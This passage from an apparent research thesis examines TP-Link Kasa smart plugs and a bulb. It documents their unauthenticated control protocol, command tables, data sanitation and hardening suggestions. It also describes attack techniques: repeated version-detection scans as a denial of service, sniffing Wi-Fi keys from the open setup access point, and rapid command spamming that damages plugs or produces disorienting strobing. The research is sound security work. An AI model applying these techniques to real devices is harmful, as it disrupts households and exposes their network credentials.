manually until the device had rebooted. The smart bulb, by contrast, lacked external controls and was 
therefore immune from this issue. This observed problem was exclusive to the “version detection” 
scan, as no other Zenmap scans interfered with device function.
Wireshark (version 2.6.6) [52] was used to analyze traffic between the laptop and appliance during 
the “version detection” scan. It was noted that GET/HTTP/1.0 and OPTIONS/HTTP/1.0 requests were 
sent by Zenmap immediately before the appliance became unresponsive. By repeating “version 
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detection” scans, a denial-of-service attack could be leveled against the Kasa devices. It was noted that 
while the “version detection” scan caused a 60 second downtime, resetting or rebooting made the 
appliances unavailable for only 15 to 20 seconds.
Nessus Results
Scanning the HS105 smart plug with Nessus revealed that TCP port 9999 and UDP port 67 were 
both open. The freezing behavior caused by Zenmap was also observed during the Nessus scans, 
however the pauses occurred intermittently. Due to time constraints, Nessus scans were not analyzed 
with Wireshark. 
Firefox Browser
Due to unusual behaviors observed during port scanning, connections were attempted between 
Firefox (version 69.0) web browser tabs and TCP port 9999 on the Kasa devices. If a single request was
sent to a test device, the connection would be reset. If multiple requests were sent simultaneously and 
any timed-out connections were refreshed, it was possible to establish connections that were kept alive.
If a specific tab associated with a “kept alive” connection was terminated, the Kasa Smart appliance 
would respond in the exact same way as the Zenmap version detection scan. This included a 60 second 
downtime and unresponsive buttons on the smart plugs. No trend was observed regarding which tab 
needed to be closed to cause this phenomenon. 
4.3 Comments on Using TSHP
TSHP over TCP and UDP
While using TSHP, multiple peculiarities were noted in the protocol. For example, it was 
discovered that the 4-byte payload length “header” was mandatory for all TCP-based messages. Gont 
[25] previously noted the 4-byte “header,” but an explanation was not included. Based upon 
experimentation, it appeared that payload length was used to check integrity of a command. The tested 
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appliances rejected any TCP message with missing or incorrect 4-byte “headers” and would not send a 
reply. TSHP commands over TCP were only accepted if the 4-byte header matched the command 
length exactly. 
Additionally, it was confirmed that the tested devices would support TSHP commands over UDP. If
valid formatting was observed, all three appliances would accept UDP commands and send a UDP 
responses. A payload length “header” was not observed in UDP responses and UDP commands using a 
“header” were rejected by test devices.
Response to Loss of WLAN
Given each Kasa device had a built-in WAP, it was speculated that a lost WLAN connection would 
cause an appliance to revert back to operating the internal WAP. This hypothesis was incorrect. When a 
Kasa device’s WLAN was turned off, the device’s internal WAP would not be reactivated. 
Communicating with the appliance would remain impossible until the WLAN was functional again.
Limits on Scheduling Rules 
Depending on the communication type used, appliances would allow a different number of tasks to
be scheduled. When using the Kasa Smart app, a user could program up to 31 “Schedule” rules in 
addition to a single “Timer” rule for a total of 32 rules. The smart plugs could alternatively accept one 
“Timer” rule, one “Away” rule, and up to 30 “Schedule” rules from the app. In contrast, direct TSHP 
commands allowed a user to program one “Timer” rule and a combination of up to 32 “Schedule” and 
“Away” rules for a total of 33 rules.
Snooping
An issue highlighted by Stroetmann & Esser [24] was that an attacker could eavesdrop on HS110 
communications, intercepting and decrypting messages with sensitive information. This was a 
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reasonable concern, given the lack of authentication or security on the Kasa device’s internal WAP. To 
confirm this theory, a smartphone and laptop were both connected to a test appliance’s WAP. The 
laptop’s network interface card was then set to promiscuous mode and began capturing traffic using 
Aircrack-ng (version 1.5.2) [53]. The smartphone, representing a victim, sent a TSHP command to the 
appliance. The laptop, representing an attacker, was able to capture the encrypted message in its 
entirety (including a WLAN pre-shared key). If such an attacker was aware of the Kasa encryption 
algorithm, they would have been able to decrypt the message and retrieve the victim’s pre-shared key.
4.4 Message Spamming 
The Kasa Smart appliances did not exhibit unusual behavior when spammed with TSHP 
commands. Even at high spamming rates, reply messages were always sent and all commands appeared
to be followed. Message spamming was not slowed by the presence of a mobile device connected to the
victim appliance. The Kasa Smart app would update the appliance’s status approximately every 15 
seconds. This was presumably due to the occasional device polling described by Mauro et al [27]. 
A loud and harsh mechanical sound was observed when cycling the smart plugs on and off at a 
high frequency (200 ms and less). Beyond causing discomfort to nearby individuals, the noise may 
indicate internal components were operating too quickly and becoming damaged. 
The smart bulb did not exhibit mechanical problems with being cycled on and off quickly. At high 
frequencies, the flashing effect of the bulb was disorienting and potentially dangerous for individuals 
with epilepsy. 
4.5 Smart Home Protocol: Command Definitions
Before retrieving data from each test device, it was necessary to document all available functions. 
Literature revealed that TSHP commands, or “methods,” were organized into 10 groups, or “modules.” 
Of these 10 modules, only 9 were compatible with the test appliances. Analysis of the unsupported 
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module, “dimmer”, was not possible. A list of all TSHP methods known at the time of writing is 
summarized in Table 2. A more detailed description of each method is available in Table 4 (see A1 in 
Appendix). 
Table 2: Summary of Known TSHP Methods
Module Method Usage Test Device
Support*
anti_theft add_rule Add anti_theft rule. B, P
delete_all_rules Delete all anti_theft rules. B, P
delete_rule Delete anti_theft rule with given ID. B, P
edit_rule Edit anti_theft rule with given ID. B, P
get_rules Get list of device’s anti_theft rules. B, P
set_overall_enable Enable/disable use of anti_theft rules. B, P
cnCloud /
cloud
bind Register device with TP-Link cloud server. B, P
get_info Get information about device’s TP-Link cloud 
connection.
B, P
get_intl_fw_list Appears to retrieve a list of any available firmware 
updates.
B, P
set_server_url Set URL of cloud server for device to connect. B, P
unbind Unregister device with cloud server. B, P
count_down add_rule Add a new count_down rule. B, P
delete_all_rules Delete all count_down rules. B, P
delete_rule Delete count_down rule with specified ID. B, P
edit_rule Edit existing count_down rule. B, P
get_rules Get count_down rule, if one exists. B, P
dimmer get_default_behavior Get default behavior settings for dimmer. -
get_dimmer_parameters Get configuration parameters of dimmer. -
set_brightness Instantly change plug to a specified brightness level. -
set_dimmer_transition Gradually change plug to a specified brightness level. -
set_double_click_action Set default behavior for a double click on device. -
set_fade_off_time Set speed of “Fade Off” function. -
set_fade_on_time Set speed of “Fade On” function. -
set_gentle_off_time Set speed of “Gentle Off” function. -
set_gentle_on_time Set speed of “Gentle On” function. -
set_long_press_action Set default behavior for a long press on device. -
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set_switch_state Set device to “on” or “off” state. -
emeter erase_emeter_stat Erase all usage statistics. B
get_daystat Get daily usage statistics for a selected month and 
year.
B
get_monthstat Get monthly usage statistics for a selected year. B
get_realtime Get device current and voltage usage at current time. B
get_vgain_igain Get Vgain and Igain settings. -
set_vgain_igain Set Vgain and Igain. -
start_calibration Calibrate electricity monitor. -
lightingservice get_default_behavior Get default behavior when bulb powers on. B
get_light_details Get the system details for bulb. B
get_light_state Get operation parameters for bulb. B
set_default_behavior Set default behavior for when bulb powers on. B
transition_light_state Set bulb operational parameters. B
get_preferred_state Retrieve the 4 preset configurations of bulb. B
set_preferred_state Edit values of a preset configuration. B
netif get_scaninfo Scan for nearby 2.4GHz WAP’s. B, P
get_stainfo Get information about device’s WAP. B, P
set_stainfo Connect device to specified WAP. B, P
schedule add_rule Add new schedule rule. B, P
delete_all_rules Delete all schedule rules. B, P
delete_rule Delete schedule rule with a given rule ID B, P
edit_rule Edit a schedule rule using a rule’s ID B, P
get_monthstat Get time (in minutes) of active usage of device for 
each month in a requested year. 
B, P
get_daystat Get time (in minutes) of active usage of device for 
each day in a requested month. 
B, P
erase_runtime_stat Erase runtime statistics for each day and month that a
device has been used. 
B, P
get_next_action Get next scheduled action for the device. B, P
get_rules Get complete list of scheduled actions. B, P
set_overall_enable Enable or disable use of schedule rules. B, P
system check_new_config Check device configuration. -
download_firmware Download a firmware file from a specified URL. B, P
flash_firmware Flash device with new firmware image. -
get_dev_icon Get device icon.  -
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get_download_state Check download state while device is downloading 
firmware.
B, P
get_sysinfo Get system info about device. B, P
reboot Reboot device. B, P
reset Reset device to factory settings. B, P
set_dev_alias Set device’s alias. B, P
set_dev_icon Set device icon.  -
set_dev_location Set device’s location in latitude and longitude. B, P
set_device_id Set device’s “device ID” number. P
set_hw_id Set device’s “hardware ID” number. -
set_led_off Turn device’s LED on/off. P
set_mac_addr Set device’s MAC address -
set_relay_state Turn device relay on/off. P
set_test_mode Set device to run in “test mode” upon reboot. -
test_check_uboot Perform uBoot Bootloader Check -
time/
timesetting
get_time Get device time. B, P
get_timezone Get device timezone. B, P
set_time Set device time. B, P
set_timezone Set device time and timezone B, P
*In the “Test Device Support” column, a ‘B’ indicates the method was supported by the LB100 bulb. Likewise, a 
‘P’ indicates the method was supported by the HS100 and HS105 plugs. 
While examining literature, a difference was noted between TSHP commands used by smart plugs 
and smart bulbs. Most commands in literature for smart bulbs (such as the LB100) were part of a 
“smartlife.iot” namespace [31-33], but no commands for the smart plugs (such as the HS100 and 
HS105) used that namespace. For example, the following two commands served the same function, 
however the first was associated with bulbs and the second with plugs: 
{"smartlife.iot.common.count_down":{"get_rules":null}}
{"count_down":{"get_rules":null}}
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Investigation was performed to determine whether commands from the “smartlife.iot” namespace could
be used interchangeably with commands from the “standard” namespace. This is discussed in Section 
4.9.
4.6 Smart Home Protocol Modules
(1) “anti_theft” Module
The “anti_theft” module was used for providing Kasa Smart’s Away mode functionality. The 
anti_theft module had methods to create, edit, and delete rules to randomly turn a device on and off. 
Rules could be schedule based upon time or sunrise and sunset. All devices tested would accept 
multiple Away rules if added using TSHP. In contrast, the Kasa Smart app only allowed users to 
schedule one Away rule on the smart plugs. It was not possible to schedule Away rules on the smart 
bulb using the Kasa Smart app.
Three unique variables were noted in anti_theft methods: “duration,” “lastfor,” and “frequency.” 
Additionally, a “force” variable was observed in some “anti_theft” and “schedule” methods. At the time
of writing, the purpose of these four variables is unknown. It is hypothesized that “duration”, “lastfor”, 
and “frequency” are related to device uptime when Away mode is used. When scheduling Away rules in
the app, a user could only specify starting and ending time. By creating Away rules in the app and 
retrieving them using TSHP, it was found that the app always created anti_theft rules with a 
“frequency” of ‘5’. The “duration” and “lastfor” variables were not included in the device’s TSHP 
response. It was not possible to measure the effect of manipulating an individual variable due to the 
intentional randomness of Away mode. It was noted that “frequency” was mandatory when creating and
editing rules, while “duration” and “lastfor” were optional. 
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(2) “cnCloud” (standard namespace) / “cloud” (smartlife.iot namespace) Module
The “cnCloud” or “cloud” module was used to connect a Kasa Smart device to the TP-Link cloud 
and monitor this connection. The cnCloud module appeared in smart plug literature, while the cloud 
module was found in smart bulb literature [24, 31-33]. Despite differences in name, the modules 
provided the same methods and functionalities. 
One method, “get_info”, would report on the status of a device’s connection with the cloud, 
including the Kasa account tied to the device. The “set_server_url” method allowed users to change the
URL of the device’s cloud server. It was noted that the HS100 and HS105 used devs.tplinkcloud.com 
server, while the LB100 bulb used n-devs.tplinkcloud.com. Additionally, all devices would 
acknowledge the “set_server_url” method, but only the smart plugs would implement a server address 
change. Finally, “get_intl_fw_list”, appeared to retrieve a list of available firmware updates from the 
TP-Link cloud server. If an update was available, the response would include the update’s version 
number, release date, and a web address where the binary could be downloaded. The binaries were 
hosted on tplinkcloud.com and did not require authentication in order to download. For example, an 
update for the HS105 was available from the following address: 
http://download.tplinkcloud.com/firmware/smartPlug_FCC_HS105US_1.5.4_Build_181224_Rel._154
9088397494.bin. 
(3) “dimmer” Module (standard namespace only)
The “dimmer” module, described in [32], appears to be used for controlling specific Kasa Smart 
products with dimmer switches. Based upon the author’s in-code comments [54], it appeared that the 
dimmer module was only compatible with the HS220 Smart Wi-Fi Light Switch with Dimmer [55]. 
Experimentation confirmed that this module was not compatible with the three test devices. 
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(4) “count_down” Module
The “count_down” module was used for creating and editing timed events. Count_down allowed 
the generation of a timer that would trigger a device to turn on or off. It was noted that count_down 
actions were triggered by clock time, rather than elapsed time. On a conventional timer, a user would 
enter an amount of time (10 seconds, for example) and the timer would wait for 10 seconds to elapse 
before triggering an action (such as an alarm sound). By contrast, “count_down” functionality appeared
to be dependent on clock time. If a count_down rule was programmed to occur 10 seconds in the future
and the appliance’s internal clock was then set back one minute, the event would not occur until 70 
total seconds had elapsed. (Sixty seconds would be required for the clock to reach the time when the 
“count_down” command was originally received and then another 10 seconds would be necessary to 
measure the user’s requested countdown.) 
(5) “emeter” Module
The “emeter” module was used for tracking monthly, daily, and real-time energy usage. Emeter 
also included methods for calibrating energy monitoring hardware, but these methods were not 
supported by the test devices.
(6) “netif” Module (standard namespace only)
The “netif” module was used to control an appliance’s wireless connectivity. Methods were used to
search for nearby WLANs and to connect an appliance with a WLAN of a specified SSID and pre-
shared key. All tested devices used netif methods in the “standard” namespace as no “smartlife.iot” 
equivalent was found in literature [24, 31-33].
Two minor discoveries were made regarding the netif module. First, the purpose of the “refresh” 
variable in “get_scaninfo” was likely determined. When “refresh” was set to ‘1,’ “get_scaninfo” would 
scan for 2.4GHz WLAN in range of the device. In contrast, when “refresh” was set to ‘0,’ a scan was 
not always performed. If the device had completed a WLAN scan since being plugged in, the previous 
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scan results would be resent to the user. If no results were available, however, the device would 
perform a WLAN scan. 
Another finding was the “get_stainfo” method. At the time of writing, “get_stainfo” was not 
mentioned in TSHP literature. “Get_stainfo” was used to request the SSID, security type, and RSSI 
(received signal strength indicator) of a device’s WLAN. If the device was not connected to a WLAN, 
an empty response was given. Of the three test devices, “get_stainfo” was only supported by the LB100
smart bulb. 
(7) “schedule” Module
The “schedule” module was used for creating and editing scheduled events, such as turning a 
device off or changing the intensity of a smart bulb. This module also allowed users to view a device’s 
daily and monthly uptime, measured in minutes. 
 (8) “system” Module
The “system” module had many uses. Its functions including rebooting or resetting devices, setting
device latitude and longitude coordinates, and controlling the power relay on smart plugs. The 
“set_led_off” method deactivated or reactivated the LED bulb on smart plugs. Notably, a setting to 
control the HS100 and HS105’s LED bulb was not observed in the Kasa Smart app. Stroetmann & 
Esser [24,59] described two testing methods in the “system” module (“set_test_mode” and 
“test_check_uboot”), but neither method was supported by test devices. The “download_firmware” and
“flash_firmware” methods could be used to retrieve a new firmware image and upload it to a Kasa 
appliance. Due to time constraints, these two methods were not tested beyond determining if they were 
supported by the available appliances. 
The “check_new_config” method was unusual. The method was only mentioned in literature by 
Stroetmann & Esser [24], who described its purpose as to “check config”. Further characterizing was 
not possible. The smart plugs did not perform any action after receiving the TSHP command and would
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reply with the following message: “err_code: -2, err_msg: member not support.” In contrast, sending 
“check_new_config” to the LB100 had the exact same result as the Zenmap “version detection” scan 
(including approximately one minute of downtime). 
A particularly useful method in “system” was “get_sysinfo,” which returned a large amount of 
information about a device and its operation. Of particular note was an entry for longitude and latitude 
coordinates (“longitude_i” and “latitude_i”). If a user paired their mobile device to one of the test 
appliances using the Kasa Smart app, “longitude_i” and “latitude_i” would be populated. After being 
divided by a factor of 10000, the “longitude_i” and “latitude_i” coordinates matched the user’s 
approximate location at the time of pairing. After the app retrieved a user’s location during the pairing 
process, it is hypothesized that coordinates were forwarded to the appliance. Interestingly. the LB100’s 
“get_sysinfo” response did not include “longitude_i” and “latitude_i.” The LB100 supported a method 
to edit a device’s “longitude_i” and “latitude_i,” but no TSHP command was found for retrieving 
coordinates from the bulb. Consequently, longitude and latitude could only be recovered from the 
HS100 and HS105.
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Figure 1. HS100 TSHP response to “system”:“get_sysinfo”. 
“Longitude_i” and “latitude_i” are found toward the bottom of the response. 
Note: For privacy, sensitive data (such as location) were redacted. 
(9) “time” (Standard) / “timesetting” (Smartlife.iot) Module
Methods in the “time” or “timesetting” module were used for the definition and retrieval of a 
device’s clock time and timezone. 
(10) “lightingservice” Module (Smartlife.iot only)
The “lightingservice” module, seemingly exclusive to Smartlife.iot, was a collection of methods 
used for interaction with smart bulbs. Methods could be used to retrieve details about a bulb (such as 
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wattage and beam angle), turn a bulb on & off, and change the brightness & color of a bulb’s light. 
Three methods were discovered in “lightingservice” that did not appear in literature available at the 
time of writing. Two methods, "set_preferred_state" and "get_preferred_state", focused on the bulb’s 
preset values. The LB100 had four preset configurations which were called “Presets” in the Kasa Smart
app. These four preset configurations contained "hue", "saturation", "color_temp", and "brightness" 
values that could be used in-app to quickly change the bulb to a desired setting. The 
"get_preferred_state" method retrieved the preset configurations in an array called “states.” The other 
method, "set_preferred_state", was used to edit the values of a “Presets” entry. When interacting with 
the LB100 using the app or TSHP commands, it was only possible for the user to change the 
“brightness” value of the “presets.” 
The final method discovered was “set_default_behavior.” This method controlled the bulb’s first 
actions after being turned on. Two default behaviors were observed on the LB100: “soft_on” and 
“hard_on.” “Soft_on” was invoked when the bulb received a command to turn on using a TSHP 
command. “Hard_on” was invoked when the bulb was powered on by a power source (such as 
activating the power switch of a lamp containing the LB100). Each default behavior had an associated 
“operation mode” that dictated the bulb’s default settings after being turned on, such as hue and 
brightness level. Only two operation modes, “customize_preset” and “last_status,” were observed. 
Using “customize_preset” and an index value allowed the selection of one of the four “presets.” 
“Last_status,” meanwhile, set the bulb to return to its last known condition. 
4.7 Device Responses
Device responses to all TSHP commands were recorded and may be found in Table 6. TSHP 
replies followed the same formatting as TSHP commands. Returned data and an error code were 
included in the “body” of the method (replacing any input parameters). Accepted commands had an 
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error code of “0.” If an error was detected, then a non-zero code value was included alongside an error 
message. Examples of error messages included: “member not support,” “method not support,” “module
not support,” and “invalid input argument.” 
4.8 Device Compatibility with TSHP Methods
Not every TSHP command in literature was compatible with each test devices. Device 
compatibility, summarized in Table 2, is described in more detail by Table 5. 
Smart Bulb Compatibility: “Standard” & “Smartlife.iot” Namespace
The LB100 bulb was not compatible with most commands in the “standard” namespace. Bulb 
support of “standard” namespace methods was limited to the “netif” module and some methods from 
the “system” module. 
The LB100 generally supported bulb commands for the “smartlife.iot” namespace.  Full 
implementation of the anti_theft, cloud, count_down, schedule, timesetting, and lightingservice 
modules was observed. This was surprising, as literature on the LB100 did not suggest that anti_theft or
count_down would be supported. Additionally, the functionality of anti_theft and count_down was 
inaccessible from the Kasa Smart app. The emeter and system modules were only partially supported.
Smart Plug Compatibility: “Standard” & “Smartlife.iot” Namespace
It was noted that the smart plugs had duplicate responses to all queries, suggesting similarity 
between the HS100 and HS105 firmware. The plugs rejected all commands from the “smartlife.iot” 
namespace, but most “standard” namespace methods were supported. The anti_theft, count_down, 
schedule, and time modules were fully implemented. Additionally, partial support of system and netif 
was observed. Emeter methods were not accepted. 
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4.9 Impact of IoT Ecosystem on Performance
Communication over WLAN or a Kasa Smart device’s internal WAP had no observable impact on 
device function. Performance was similarly unaffected by the presence of other Kasa Smart devices. 
Supported TSHP commands, responses to TSHP commands, and device behavior remained consistent. 
4.10 Data Sanitation 
Data sanitation results are summarized in Table 3. With the exception of a device’s internal clock, 
data could only be sanitized with the “reset” command. Data availability was seemingly unaffected by 
unplugging or rebooting an appliance. 
An unusual property was noted when sanitizing a Kasa cloud username. Devices bound to a Kasa 
account would store the account username and return said username if queried with the “get_info” 
method from the “cnCloud” (or “cloud”) module. If a Kasa Smart device was bound to an account and 
then reset, most information in the “get_info” record was sanitized. The Kasa username, however, was 
still included. The username remained accessible by TSHP query until the device regained internet 
access, at which point it would be removed from the “get_info” record. Username sanitation was the 
same on all devices tested.
As mentioned previously, performing a reset would disconnect a test device from a WLAN. If a 
device was reset, a user would have to reconnect said device to a WLAN with internet access to ensure 
their username was removed. The “unbind” command could also remove a Kasa username, but it also 
required access to the internet. The process of removing a Kasa username from the HS105 using the 
“unbind” and “reset” commands is illustrated in Figure 2 and Figure 3, respectively.
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Table 3: Successful Data Sanitation Methods
Module Item Sanitation
Method
for Bulb
Sanitation
Method
for Plug
Comments
anti_theft Rules Reset Reset N/A
cnCloud / 
cloud
Kasa 
Username See
Comments
section 
See
Comments
section 
Kasa username could only be removed from a 
device using the “unbind” command while 
connected to the internet or by resetting the 
device and reconnecting it to the internet. This 
was true for all three devices.
User-added 
Server URL N/A Reset
Experimentation could not be performed for the
LB100 because it rejected changes to server 
URL.
count_down Rule Reset Reset Internal clock must be set before count_down could be queried.
emeter Daily & 
Monthly 
Statistics
Reset Reset N/A
netif WLAN 
SSID, 
password Reset Reset
Devices would automatically rejoin a WLAN if 
unplugged and plugged back in or if rebooted. 
If device was reset, it would not rejoin a 
WLAN. 
schedule Rules Reset Reset Internal clock must be set before Schedule could be queried.
Daily & 
Monthly 
Statistics
Reset Reset
Internal clock must be set before Schedule 
could be queried. This added a blank entry to 
the data set, even if the Kasa device was not 
currently being used.
Reset removes previous entries, but will still 
include the blank entry created upon setting 
internal clock.
system Device 
Alias Reset Reset N/A
Latitude_i, 
Longitude_i N/A Reset
Experimentation could not be performed for the
LB100 because no method was found to 
retrieve latitude and longitude from the bulb.
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time / 
timesetting
Date Unplug,
Reboot,
Reset
Unplug,
Reboot,
Reset
Default clock time was 17:02 1/1/2000
Timezone Reset Reset Default was “6” (UTC-08:00, Pacific Daylight Time)
lightingservice Default 
Behaviors 
(hard_on, 
soft_on)
Reset N/A
Experimentation could not be performed on the 
smart plugs because they did not support the 
lightingservice module.
43
Figure 2a. Figure 2b.
Figure 2c.
Figure 2. Removing Kasa Username from HS105 using “unbind” Method
Figure 2a. HS105 not bound to Kasa account. Device is connected to internet via WLAN.
Figure 2b. HS105 after bound to Kasa account with “bind” method. Username redacted for privacy.
Figure 2c. HS105 after unbound from Kasa account with “unbind” method. Note “username” is blank.
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Figure 3a. Figure 3b.
Figure 3c. Figure 3d.
Figure 3. Removing Kasa Username from HS105 using “reset” Method.
Figure 3a. HS105 not bound to Kasa account. Device is connected to internet via WLAN.
Figure 3b. HS105 after bound to Kasa account with “bind” method. Username redacted for privacy.
Figure 3c. HS105 after reset with “reset” method. Device was disconnected from WLAN because of 
reset, so was reached using internal WAP. Note “username” is still included in response (redacted for 
privacy).
Figure 3d. HS105 after being reconnected to WLAN with internet access. Note “username” is now 
blank.
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Chapter 5. Discussion
5.1 Device-App   Pairing 
Internet Access
While pairing the Kasa Smart app with a Kasa device was straightforward, a few design choices 
were unusual. A noteworthy example was the difficulty in connecting a Kasa device to a WLAN 
without internet access. If a Kasa device could not connect to the internet, it would admittedly be 
unable to receive firmware updates and remote controls. Nonetheless, said appliance could still perform
many useful functions for its owner. It was odd that device deployment was limited in this manner.
Connecting Kasa products to a WLAN without internet access was possible, but required a user to 
switch between WLANs during device-app pairing. The app did not appear to check that the WLAN 
with internet access was the same WLAN to which an appliance deployed. 
User Location
The handling of a user’s physical location was also peculiar. The Kasa Smart app did not explain 
why location sharing was mandatory. Certain device activities could be scheduled to occur at sunrise 
or sunset, so it was believed that latitude and longitude coordinates were used to calculate these times.
The compulsory nature of location sharing seemed unnecessary, however, as some consumers may not
use the sunrise and sunset features. Additionally, the app did not mention that the user’s latitude and 
longitude would be stored on the Kasa devices. Privacy-oriented consumers would no doubt 
appreciate a warning that their location was being recorded. 
5.2 Viability of Eavesdropping and Spoofing Attacks 
The examined devices were sensitive to eavesdropping or spoofing. First, the communication 
channel between app and device used a compromised encryption method. Due to the nature of the 
cipher, any attacker that knew the algorithm and hardcoded key could encrypt or decrypt any TSHP 
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message. Another area of concern was the Kasa devices’ internal WAP. The WAP did not have any 
security features (such as Wired Equivalent Privacy or Wi-Fi Protected Access) and there was no 
method to authenticate users. As a result, any individual could connect to the WAP and either eavesdrop
or send their own TSHP commands. Furthermore, it appeared the only way to connect a Kasa appliance
to a WLAN was to send the network’s pre-shared key to the appliance via WAP. This was concerning, 
as an attacker could join the WAP and capture the pre-shared key message. An attacker with physical 
access to an appliance could even perform a factory reset, causing the appliance to disconnect from its 
WLAN and tricking a victim into resending the pre-shared key. Joining a WLAN would protect the 
devices against outside attack, but would not stop an attacker with a network foothold.
Three major changes could harden the Kasa devices against eavesdropping and spoofing. Adding a 
security protocol to the internal WAP (such as Wi-Fi Protected Access) would prevent unauthorized 
users from connecting. The WAP pre-shared key could be printed on the appliance’s exterior to prevent 
owners from being locked out. Displaying the key would not stop attackers with physical access, but 
this method is currently used by many commercially available routers. Another potential improvement 
would be to incorporate command authentication into TSHP. The studied devices would accept any 
valid TSHP command from any source, including commands to switch to another WLAN. A final 
improvement would be to replace the current encryption algorithm with a stronger algorithm. Given 
that the algorithm and key have been publicly disclosed, attackers with knowledge of TSHP can 
encrypt or decrypt all message.
5.3 Viability of TSHP Message Spamming Attacks
Spamming TSHP commands caused no obvious device malfunction, however mayhem could result
in the physical world. Due to the low polling rate of the Kasa Smart app, rapidly turning devices on and
off did not significantly impact the app or cause the screen to flash. The LB100 bulb had no apparent 
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mechanical problems with turning on and off quickly, but the flashing light was disorienting at high 
cyclic rates. The sound of the smart plugs cycling on and off was loud, unpleasant, and could indicate 
the devices were sustaining damage. 
Given that TSHP commands are not authenticated, any individual with network access to Kasa 
devices could launch a spamming attack. Gont’s suggestion of spamming commands using UDP [25], 
rather than TCP, would generate a more effective attack. Broadcasting UDP commands would allow an 
attacker to target many devices simultaneously and therefore cause maximum turmoil. Additionally, 
UDP might allow for a faster cyclic rate. 
It would be worth exploring whether the cloud could be manipulated into spamming devices using 
“remote access” commands. For example, if an attacker captured communications between a victim 
and the TP-Link cloud, perhaps they could try to replay the messages in order to cause the victim’s 
devices to be spammed by the TP-Link cloud.
5.4 Port Scanning & Denial of Service Attack
The results of port scanning were unusual, differing from previous works and revealing a potential 
vulnerability in the Kasa devices. Scans with Zenmap identified TCP port 9999 and UDP port 9999 
being open on all tested devices. This contrasted with the findings of Stroetmann & Esser [24], who 
scanned an HS110 with Nmap and found TCP port 80, TCP port 9999, and UDP port 1040 to be open. 
Nessus scans on the examined HS105 determined that TCP port 9999 and UDP port 67 (Dynamic Host 
Configuration Protocol) were open. Alrawi et al., by contrast, did not observe open services on the 
HS105 when performing analysis with Nessus [28]. Alrawi et al. likely did not detect port 67 (UDP) 
because they examined the HS105 over a subnet, rather than using the HS105’s internal WAP. The 
remaining discrepancies between literature and this case study were attributed to differences in 
scanning tool versions, Kasa device firmware, and device models. 
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Based on their research, Stroetmann & Esser indicated TDDP was designed to ignore packets with 
invalid formatting [24]. This may explain why port 1040 (UDP) was not detected on test devices. 
Further research is required to determine whether or not TDDP is supported. Given TDDP’s ability to 
send commands as well as query and set operational parameters, its presence could prove useful to 
attackers or forensic investigators.
Zenmap’s affect on Kasa devices also warrants further investigation. Based upon experimental 
results, the version detection scan served as an effective denial-of-service attack. Version detection 
scanning impacted all test devices in all experimental scenarios, it temporarily disabled the power 
button on smart plugs, and the attack could be repeated to indefinitely deny access to a device. 
Determining the root cause of this vulnerability would require firmware analysis. Once the 
vulnerability was understood, an attacker could likely create a tool for denying service to all Kasa 
devices on a network.
5.5 Functions Missing from the Kasa Smart App
Three sets of TSHP methods were supported by tested devices, yet did not appear in the Kasa 
Smart app. First, the HS100 and HS105 accepted commands to activate and deactivate their LED bulbs.
This functionality was not observed in the Kasa Smart app. More unusual was the LB100 bulb, which 
was found to support the “anti_theft” and “count_down” modules. In contrast, the Kasa Smart app did 
not feature “Away” or “Timer” mode for the LB100 bulb (see Figure 4a). It was surprising that 
functions implemented in device firmware were not included in the Kasa Smart app. The “Away” and 
“Timer” modes were already available for the HS100 and HS105 (as seen in Figure 4b), so users would
undoubtedly appreciate using these modes on the LB100 as well.
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Figure 4a. Figure 4b. 
Figure 4. Kasa Smart graphical user interfaces for LB100 and HS105
Figure 4a. Kasa Smart app interface for controlling LB100. Functions available are as follows: Device
Settings, Power, Brightness, Presets, Schedule, and Usage.
 
Figure 4b. Kasa Smart app interface for controlling HS105. Functions available are as follows: Device
Settings, Power, Schedule, Timer, Away, and Runtime.
Note: MAC addresses redacted for privacy.
5.6 Idiosyncrasies in TSHP Modules 
“anti_theft” Module
It was peculiar that some “anti_theft” methods included variables that a user could not edit. It is 
possible that values like “frequency” were calculated based upon user inputs and not intended for direct
manipulation. Allowing access to fine-grained control of “Away” mode would be beneficial, however, 
as consumers could adjust device usage to fit their needs. Decompiling the Kasa Smart app would 
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reveal how the “frequency” value was determined and analyzing device firmware would explain how 
various “anti_theft” variables were used.
“cnCloud/cloud” Module
At the time of writing, it was not understood why the HS100 and HS105 would accept server URL 
changes, yet the LB100 would not. Notably, literature indicated that Kasa devices would try to “phone 
home” to the TP-Link cloud and changing device’s server URLs was recommended to prevent 
undesired communication with the cloud [24,25].
“system” Module
One area of interest in the “system” module was the lack of support for the methods 
“set_test_mode” and “test_check_uboot.” Based upon Stroetmann & Esser’s analysis [24], both 
methods seemed benign. Stroetmann & Esser only examined the HS110 and it is unknown whether or 
not the HS100, HS105, and LB100 models ever supported these methods.  
More unusual, however, was the “check_new_config” method. First, literature was limited 
regarding what purpose the method served. Next, the method was ignored by both plugs, yet 
temporarily disabled the LB100 exactly like the Zenmap “version detection” scan. Notably, the version 
detection scan used TCP, but the “check_new_config” could theoretically be broadcast over UDP to 
create a more powerful denial of service. Analyzing device firmware would explain the use of 
“check_new_config,” why it caused problems in only the bulb, and whether there was any similarity to 
the Zenmap version detection scan. 
“netif” Module
The absence of “get_stainfo” support on the smart plugs was surprising and might result from 
firmware differences between the plugs and bulb. Implementing “get_stainfo” presents no known 
liability for a device. A related method, “set_stainfo,” was used to connect a device to a WLAN and 
required a WLAN pre-shared key as an input. The “get_stainfo” retrieved the SSID, security protocol, 
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and RSSI of a device’s WLAN, but did not include the pre-shared key or any other sensitive 
information. Firmware analysis is recommended to confirm TSHP queries cannot retrieve a device’s 
WLAN key. 
“Smartlife” versus “Standard” Namespace
The presence of two namespaces for TSHP commands was peculiar, especially since “smartlife.iot”
commands were not compatible with the smart plugs. Literature did not yield any information about 
“smartlife.iot”. The author hypothesizes “smartlife.iot” may be related to the “Smart Life” app. Smart 
Life, from Tuya Inc., is an Android & iOS app for controlling smart home appliances [56]. Further 
research is recommended to better characterize “smartlife.iot” and to determine if any connection exists
between the Kasa Smart app and Smart Life. 
5.7 Preventing TSHP Data Leakage
  A factory reset was the only method to sanitize data from a device, however it would not erase the
Kasa username until a connection was temporarily reestablished with the TP-Link cloud. A multi-step 
process was therefore required to remove all data from TSHP-accessible locations. If a device had an 
internet connection to the TP-Link cloud, a user could send the “unbind” command before performing a
device reset. The “unbind” method would disassociate the device from a Kasa account and prevent 
username retrieval via TSHP. Resetting the device would expunge any remaining data. Alternatively, a 
user could reset their device, connect the device to a WLAN with internet access, and then reset the 
device again to remove the WLAN credentials. In either process, an internet connection was eventually 
required. 
5.8 Device Relevance to Forensic Investigations
